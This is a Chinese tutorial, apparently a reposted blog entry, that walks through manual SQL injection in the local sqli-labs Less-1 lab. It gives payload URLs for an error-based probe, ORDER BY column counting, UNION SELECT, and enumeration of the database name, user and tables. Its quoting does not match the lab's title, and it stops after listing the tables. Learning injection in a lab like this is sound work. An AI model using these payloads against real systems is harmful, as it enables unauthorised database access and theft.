摘要:当后面的数字大于表的列数时就会报错访问页面正常,访问页面异常所以这个表有个字段。联合查询获取信息运算符可以将两个或两个以上语句的查询结果集合合并成一个结果集合显示,即执行联合查询。
sqli-labs靶机搭建
docker部署:
docker pull acgpiano/sqli-labs docker run -d -p 80:80 acgpiano/sqli-labs
访问127.0.0.1后,点击Setup/reset Database for labs
Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
基于报错--猜解SQL语句访问http://127.0.0.1/Less-1/?id=1"报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ""1"" LIMIT 0,1" at line 1
由"1"" LIMIT 0,1猜测SQL语句:
SELECT ... FROM ... WHERE id="1" LIMIT 0,1 //源代码中 SELECT * FROM users WHERE id="$id" LIMIT 0,1手工注入 0x01 order by猜解表的列数
SELECT * FROM users WHERE id="1" order by 1 -- " LIMIT 0,1
这个SQL语句的意思是查询users表中id为1的数据并按第一字段排行。当order by后面的数字大于表的列数时就会报错
访问http://127.0.0.1/Less-1/?id=1" order by 3--+页面正常,
访问http://127.0.0.1/Less-1/?id=1" order by 4--+页面异常:
所以users这个表有3个字段。
union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,这就是为什么要先猜解列数。
查看回显位:
2、3处回显
http://127.0.0.1/Less-1/?id=-1" UNION SELECT 1,2,3 --+
获取数据
version() #MySQL版本 user() #数据库用户名 database() #数据库名 @@datadir #数据库路径 @@version_compile_os #操作系统版本
http://127.0.0.1/Less-1/?id=-1" UNION SELECT 1,database(),user() --+
得到数据库名字security,用户root@localhost
http://127.0.0.1/Less-1/?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
得到各表名
请输入代码
文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。
转载请注明本文地址:https://www.ucloud.cn/yun/31803.html
阅读 519·2021-08-31 09:45
阅读 1619·2021-08-11 11:19
阅读 867·2019-08-30 15:55
阅读 801·2019-08-30 10:52
阅读 2832·2019-08-29 13:11
阅读 2906·2019-08-23 17:08
阅读 2815·2019-08-23 15:11
阅读 3043·2019-08-23 14:33